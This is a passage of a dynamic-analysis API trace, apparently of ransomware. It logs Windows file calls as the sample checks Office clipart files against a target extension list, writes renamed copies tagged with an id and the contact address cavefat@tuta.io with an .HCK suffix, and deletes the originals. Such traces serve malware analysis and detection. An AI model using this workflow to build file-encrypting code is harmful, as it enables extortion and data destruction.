lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0160.300] lstrlenW (lpString=".1cd") returned 4 [0160.300] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0160.301] lstrlenW (lpString=".jpg") returned 4 [0160.301] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.301] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0160.301] lstrlenW (lpString="HH00235_.WMF") returned 12 [0160.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0160.301] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=1026) returned 1 [0160.301] CloseHandle (hObject=0x3b0) returned 1 [0160.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf")) returned 0x220 [0160.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0160.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0160.301] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.301] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0160.302] GetLastError () returned 0x0 [0160.302] ReadFile (in: hFile=0x3b0, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x402, lpOverlapped=0x0) returned 1 [0160.303] WriteFile (in: hFile=0x384, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x410, lpOverlapped=0x0) returned 1 [0160.304] ReadFile (in: hFile=0x3b0, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0160.304] WriteFile (in: hFile=0x384, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0160.304] SetEndOfFile (hFile=0x384) returned 1 [0160.304] CloseHandle (hObject=0x384) returned 1 [0160.305] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.305] SetEndOfFile (hFile=0x3b0) returned 1 [0160.305] CloseHandle (hObject=0x3b0) returned 1 [0160.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0160.306] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf")) returned 1 [0160.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0160.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0160.306] lstrlenW (lpString=".doc") returned 4 [0160.306] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.306] lstrlenW (lpString=".docx") returned 5 [0160.306] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0160.306] lstrlenW (lpString=".pdf") returned 4 [0160.306] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.306] lstrlenW (lpString=".xls") returned 4 [0160.306] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.306] lstrlenW (lpString=".xlsx") returned 5 [0160.306] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0160.306] lstrlenW (lpString=".ppt") returned 4 [0160.306] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0160.306] lstrlenW (lpString=".zip") returned 4 [0160.306] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.306] lstrlenW (lpString=".rar") returned 4 [0160.306] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.306] lstrlenW (lpString=".bz2") returned 4 [0160.306] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.306] lstrlenW (lpString=".7z") returned 3 [0160.306] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0160.306] lstrlenW (lpString=".dbf") returned 4 [0160.306] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0160.306] lstrlenW (lpString=".1cd") returned 4 [0160.306] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0160.306] lstrlenW (lpString=".jpg") returned 4 [0160.306] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0160.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0160.307] lstrlenW (lpString=".doc") returned 4 [0160.307] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.307] lstrlenW (lpString=".docx") returned 5 [0160.307] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0160.307] lstrlenW (lpString=".pdf") returned 4 [0160.307] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.307] lstrlenW (lpString=".xls") returned 4 [0160.307] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.307] lstrlenW (lpString=".xlsx") returned 5 [0160.307] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0160.307] lstrlenW (lpString=".ppt") returned 4 [0160.307] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0160.307] lstrlenW (lpString=".zip") returned 4 [0160.307] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.307] lstrlenW (lpString=".rar") returned 4 [0160.307] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.307] lstrlenW (lpString=".bz2") returned 4 [0160.307] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.307] lstrlenW (lpString=".7z") returned 3 [0160.307] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0160.307] lstrlenW (lpString=".dbf") returned 4 [0160.307] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0160.307] lstrlenW (lpString=".1cd") returned 4 [0160.307] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0160.307] lstrlenW (lpString=".jpg") returned 4 [0160.307] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.307] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0160.307] lstrlenW (lpString="HH00236_.WMF") returned 12 [0160.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0160.308] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=3286) returned 1 [0160.308] CloseHandle (hObject=0x3b0) returned 1 [0160.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf")) returned 0x220 [0160.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0160.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0160.308] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.308] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0160.308] GetLastError () returned 0x0 [0160.308] ReadFile (in: hFile=0x3b0, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xcd6, lpOverlapped=0x0) returned 1 [0160.309] WriteFile (in: hFile=0x384, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xce0, lpOverlapped=0x0) returned 1 [0160.310] ReadFile (in: hFile=0x3b0, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0160.310] WriteFile (in: hFile=0x384, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0160.310] SetEndOfFile (hFile=0x384) returned 1 [0160.310] CloseHandle (hObject=0x384) returned 1 [0160.311] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.311] SetEndOfFile (hFile=0x3b0) returned 1 [0160.312] CloseHandle (hObject=0x3b0) returned 1 [0160.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0160.312] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf")) returned 1 [0160.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0160.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0160.312] lstrlenW (lpString=".doc") returned 4 [0160.312] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.312] lstrlenW (lpString=".docx") returned 5 [0160.312] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0160.312] lstrlenW (lpString=".pdf") returned 4 [0160.312] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.312] lstrlenW (lpString=".xls") returned 4 [0160.312] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.312] lstrlenW (lpString=".xlsx") returned 5 [0160.312] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0160.312] lstrlenW (lpString=".ppt") returned 4 [0160.312] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0160.312] lstrlenW (lpString=".zip") returned 4 [0160.313] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.313] lstrlenW (lpString=".rar") returned 4 [0160.313] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.313] lstrlenW (lpString=".bz2") returned 4 [0160.313] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.313] lstrlenW (lpString=".7z") returned 3 [0160.313] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0160.313] lstrlenW (lpString=".dbf") returned 4 [0160.313] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0160.313] lstrlenW (lpString=".1cd") returned 4 [0160.313] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0160.313] lstrlenW (lpString=".jpg") returned 4 [0160.313] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0160.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0160.313] lstrlenW (lpString=".doc") returned 4 [0160.313] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.313] lstrlenW (lpString=".docx") returned 5 [0160.313] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0160.313] lstrlenW (lpString=".pdf") returned 4 [0160.313] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.313] lstrlenW (lpString=".xls") returned 4 [0160.313] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.313] lstrlenW (lpString=".xlsx") returned 5 [0160.313] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0160.313] lstrlenW (lpString=".ppt") returned 4 [0160.313] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0160.313] lstrlenW (lpString=".zip") returned 4 [0160.313] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.313] lstrlenW (lpString=".rar") returned 4 [0160.313] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.313] lstrlenW (lpString=".bz2") returned 4 [0160.313] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.313] lstrlenW (lpString=".7z") returned 3 [0160.313] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0160.313] lstrlenW (lpString=".dbf") returned 4 [0160.313] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0160.313] lstrlenW (lpString=".1cd") returned 4 [0160.313] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0160.313] lstrlenW (lpString=".jpg") returned 4 [0160.313] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.314] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0160.314] lstrlenW (lpString="HH00241_.WMF") returned 12 [0160.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0160.314] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=1960) returned 1 [0160.314] CloseHandle (hObject=0x3b0) returned 1 [0160.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf")) returned 0x220 [0160.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0160.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0160.314] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.314] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0160.315] GetLastError () returned 0x0 [0160.315] ReadFile (in: hFile=0x3b0, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x7a8, lpOverlapped=0x0) returned 1 [0160.316] WriteFile (in: hFile=0x384, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x7b0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x7b0, lpOverlapped=0x0) returned 1 [0160.317] ReadFile (in: hFile=0x3b0, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0160.317] WriteFile (in: hFile=0x384, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0160.317] SetEndOfFile (hFile=0x384) returned 1 [0160.317] CloseHandle (hObject=0x384) returned 1 [0160.318] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.318] SetEndOfFile (hFile=0x3b0) returned 1 [0160.319] CloseHandle (hObject=0x3b0) returned 1 [0160.319] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0160.319] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf")) returned 1 [0160.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0160.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0160.319] lstrlenW (lpString=".doc") returned 4 [0160.320] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.320] lstrlenW (lpString=".docx") returned 5 [0160.320] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0160.320] lstrlenW (lpString=".pdf") returned 4 [0160.320] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.320] lstrlenW (lpString=".xls") returned 4 [0160.320] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.320] lstrlenW (lpString=".xlsx") returned 5 [0160.320] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0160.320] lstrlenW (lpString=".ppt") returned 4 [0160.320] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0160.320] lstrlenW (lpString=".zip") returned 4 [0160.320] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.320] lstrlenW (lpString=".rar") returned 4 [0160.320] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.320] lstrlenW (lpString=".bz2") returned 4 [0160.320] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.320] lstrlenW (lpString=".7z") returned 3 [0160.320] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0160.320] lstrlenW (lpString=".dbf") returned 4 [0160.320] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0160.320] lstrlenW (lpString=".1cd") returned 4 [0160.320] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0160.320] lstrlenW (lpString=".jpg") returned 4 [0160.320] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0160.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0160.320] lstrlenW (lpString=".doc") returned 4 [0160.320] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.320] lstrlenW (lpString=".docx") returned 5 [0160.320] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0160.320] lstrlenW (lpString=".pdf") returned 4 [0160.320] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.320] lstrlenW (lpString=".xls") returned 4 [0160.320] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.320] lstrlenW (lpString=".xlsx") returned 5 [0160.320] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0160.320] lstrlenW (lpString=".ppt") returned 4 [0160.320] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0160.320] lstrlenW (lpString=".zip") returned 4 [0160.320] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.320] lstrlenW (lpString=".rar") returned 4 [0160.320] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.320] lstrlenW (lpString=".bz2") returned 4 [0160.320] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.320] lstrlenW (lpString=".7z") returned 3 [0160.321] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0160.321] lstrlenW (lpString=".dbf") returned 4 [0160.321] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0160.321] lstrlenW (lpString=".1cd") returned 4 [0160.321] lstrcmpiW 